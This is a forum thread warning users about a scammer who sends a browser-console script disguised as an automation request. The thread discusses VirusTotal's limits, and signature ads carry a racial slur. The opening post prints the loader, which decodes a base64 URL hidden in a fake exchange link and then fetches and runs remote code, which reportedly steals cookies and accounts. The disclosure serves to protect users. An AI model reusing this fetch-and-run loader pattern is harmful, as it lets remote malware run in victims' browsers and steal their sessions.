Exposing Scammer sending malware on c.sh UPDATED

[48]

If you receive a message saying:

"Hey bro, I see you offer coding services.  
I need a bot or script to automate this exploit [link]. Do **not** execute it yet; I will explain everything."

Here’s what’s happening:

They want you to run a script inside your browser console. I’m adding stars here to avoid getting banned:

(() => {
  let node = 'https://swapzone.io/exchange/nodes/changenow/aHR0c******9maWxlcy5jYXRib3gubW9lLzQ0aHNucS5qcw/btc/node-1.9.js'.match(/changenow\/(.*?)\//)[1];
  fetch(atob(node)).then(r => r.text()).then(c => Function©());
})();

This is an example of the script they want you to run. I decoded it and found out it leads to this:

https://ibb.co/twY5SxmH

It turns out the script is malware that steals cookies, user accounts, and performs cryptocurrency fraud.

I downloaded the `.js` file and uploaded it to VirusTotal. Here’s what VirusTotal reported about it:

UPDATE PROOF TELEGRAM
https://ibb.co/DgWKF77H
Report Lucas Leaks – Telegram on telegram
VirusTotal - URL

Hope this helps, beware this guy making alts ignore and report it

---

This is a bump

[302]

yes, he sent me the same thing, he keeps recreating accounts and sending.

[1.105]

VT scanned the domain of the url and not the actual file

Cheapest OPENUPS in the market!

03.18.2026 - @nigger13[/align]

[48]

VT scanned the domain of the url and not the actual file

scan the file but says its clean i dont think it looks into the code

[1.105]

VT scanned the domain of the url and not the actual file

scan the file but says its clean i dont think it looks into the code

It only analyses statically, so you are right it wont fully catch everything especially if it's obfuscated javascript

Cheapest OPENUPS in the market!

03.18.2026 - @nigger13[/align]

[3.474]

We're aware of this malware, hopefully will be reduced or eliminated soon.

Cheapest OPENUPS in the market!


Paid Ad by @nigger13 | Ends in 19/02